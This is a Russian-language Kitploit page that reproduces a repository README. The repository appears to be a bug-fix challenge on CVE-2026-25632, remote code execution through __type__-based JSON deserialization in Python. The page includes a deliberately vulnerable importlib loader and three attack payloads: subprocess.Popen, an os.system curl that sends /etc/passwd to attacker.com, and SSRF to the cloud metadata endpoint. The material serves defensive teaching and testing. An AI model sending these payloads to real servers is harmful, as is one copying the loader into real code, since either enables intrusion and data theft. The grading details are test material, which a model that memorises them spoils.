Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-25632 — CVE-2026-25632 — Исправление небезопасной десериализации JSON, приводящей к удалённому выполнению кода | Kitploit
Инструменты/GitHubGitHub/lazarus0x1337/cve-2026-25632
Статический анализАнализ уязвимостейАнализ КодаЭксплуатацияВеб-безопасностьОбучение и ОбразованиеЛаборатории и Практика
GitHublazarus0x1337/cve-2026-25632

CVE-2026-25632

CVE-2026-25632 — Исправление небезопасной десериализации JSON, приводящей к удалённому выполнению кода

Репозиторий
131 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-25632 — RCE через JSON-десериализацию в REST API (задача на исправление ошибки)

Основано на реальной уязвимости 2026 года (CVSS 10.0, активно эксплуатировалась)
На основе: CVE-2026-25632 — удалённое выполнение кода (RCE) через небезопасную JSON-десериализацию на основе __type__, обнаруженную в REST API симулятора водных сетей EPyT-Flow и публично раскрытую в начале 2026 года.


Предыстория

NovaSim — это фреймворк симуляции на Python, который предоставляет REST API для удалённого управления научными экспериментами. Чтобы обеспечить гибкую сериализацию объектов в разнородных клиентских средах, разработчик добавил собственный загрузчик JSON, который обнаруживает специальное поле __type__ и динамически импортирует и создаёт экземпляры указанного класса Python с помощью importlib.

Эта схема была раскрыта в 2026 году как критическая уязвимость удалённого выполнения кода (RCE) в крупном проекте с открытым исходным кодом. Исследователи безопасности установили, что злоумышленник, контролирующий тело JSON, может построить цепочку гаджетов (gadget chain), нацеленную на любую вызываемую функцию стандартной библиотеки Python — включая subprocess.Popen, , и более 25 SSRF-гаджетов, — и добиться полного захвата сервера одним HTTP-запросом, .

os.system
eval
без какой-либо аутентификации

Ваша задача

Вам предоставлена уязвимая версия файла src/solution.py, содержащая ту самую небезопасную схему десериализации.

Ваша цель: устранить уязвимость в DeserializationService.load_from_json(), чтобы:

  1. Легитимные объекты симуляции из белого списка по-прежнему корректно десериализовались.
  2. Любая попытка загрузить класс вне белого списка вызывала исключение SecurityError.
  3. Поле __type__ больше не позволяло произвольный импорт модулей или создание экземпляров классов.
  4. Все корректные данные симуляции (JSON без ключа __type__) продолжали загружаться как обычно.

Постановка технической задачи

Уязвимый образец кода (НЕ ИСПОЛЬЗОВАТЬ)

root@kitploit:~
# DANGEROUS — CVE-2026-25632 pattern
import importlib

def _unsafe_load(data: dict):
    if "__type__" in data:
        module_path, class_name = data["__type__"].rsplit(".", 1)
        module = importlib.import_module(module_path)   # attacker-controlled!
        cls = getattr(module, class_name)               # attacker-controlled!
        return cls(**data.get("args", {}))              # arbitrary code execution!

Векторы атак (из реальных исследований безопасности)

Злоумышленник отправляет POST-запрос со специально сформированным телом JSON:

Вектор 1 — прямой RCE через subprocess:

root@kitploit:~
{
  "__type__": "subprocess.Popen",
  "args": {"args": ["id"], "shell": true}
}

Вектор 2 — RCE через os.system:

root@kitploit:~
{
  "__type__": "os.system",
  "args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}

Вектор 3 — SSRF через urllib.request.urlopen:

root@kitploit:~
{
  "__type__": "urllib.request.urlopen",
  "args": {"url": "http://169.254.169.254/latest/meta-data/"}
}

Исследователи безопасности задокументировали 12 прямых RCE-гаджетов и 25 SSRF-гаджетов, доступных таким образом только через стандартную библиотеку Python.


Разрешённые типы (белый список)

Следующие типы объектов симуляции — и только следующие — могут быть десериализованы через __type__:

__type__ valueКласс Python
simulation.Sensornovasim.models.Sensor
simulation.Actuatornovasim.models.Actuator
simulation.Scenarionovasim.models.Scenario

Любое другое значение __type__ ДОЛЖНО немедленно вызывать SecurityError до выполнения какого-либо импорта или создания экземпляра.


Спецификация ввода/вывода

Входные данные

JSON-объекты, передаваемые в DeserializationService.load_from_json(raw: str) -> dict | SimObject

Выходные данные

  • Если в JSON нет ключа __type__: вернуть dict (разобранный JSON).
  • Если JSON содержит __type__ из белого списка: вернуть соответствующий экземпляр объекта симуляции.
  • Если JSON содержит __type__ вне белого списка: вызвать SecurityError с сообщением: "Blocked unsafe type: <type_value>".
  • Если JSON некорректен: вызвать ValueError с сообщением: "Invalid JSON payload".

Крайние случаи / правила обработки ошибок

СценарийОжидаемое поведение
__type__ отсутствуетРазобрать и вернуть как обычный dict
__type__ = "simulation.Sensor"Создать экземпляр Sensor(**args)
__type__ = "subprocess.Popen"Вызвать SecurityError
__type__ = "os.system"Вызвать SecurityError
__type__ = "__builtins__.eval"Вызвать SecurityError
__type__ = "" (пустая строка)Вызвать SecurityError
__type__ = список или целое числоВызвать SecurityError (недопустимое поле типа)
Некорректная строка JSONВызвать ValueError
Лишние неизвестные поля в корректном объектеПринимаются, передаются как kwargs в конструктор

Файлы

root@kitploit:~
challenge-cve-2026-25632/
├── README.md                   <- You are here
├── Dockerfile                  <- Deterministic build environment
├── src/
│   ├── solution.py             <- BUGGY starter code (your target)
│   ├── solution_fixed.py       <- Reference solution (hidden from agent)
│   └── novasim/
│       ├── __init__.py
│       └── models.py           <- Allowlisted simulation model classes
└── tests/
    └── test_solution.py        <- Test harness (FAILS on buggy, PASSES on fixed)

Критерии проверки

Исправление должно пройти ВСЕ следующие проверки:

  • Все 4 стандартных теста десериализации (типы из белого списка, обычный dict без __type__)
  • Все 5 тестов блокировки векторов атак (subprocess, os, eval, urllib, builtins)
  • Все 3 теста крайних случаев (пустой тип, нестроковый тип, некорректный JSON)
  • Никаких внешних сетевых вызовов во время тестов
  • Детерминированность при повторных запусках

Ссылки

  • NVD — CVE-2026-25632
  • Консультация CISA — Каталог известных эксплуатируемых уязвимостей
  • Исследование безопасности: обнаружено 79 гаджетов — MazeHQ, 2026
  • CWE-502: Десериализация недоверенных данных
Скачать инструмент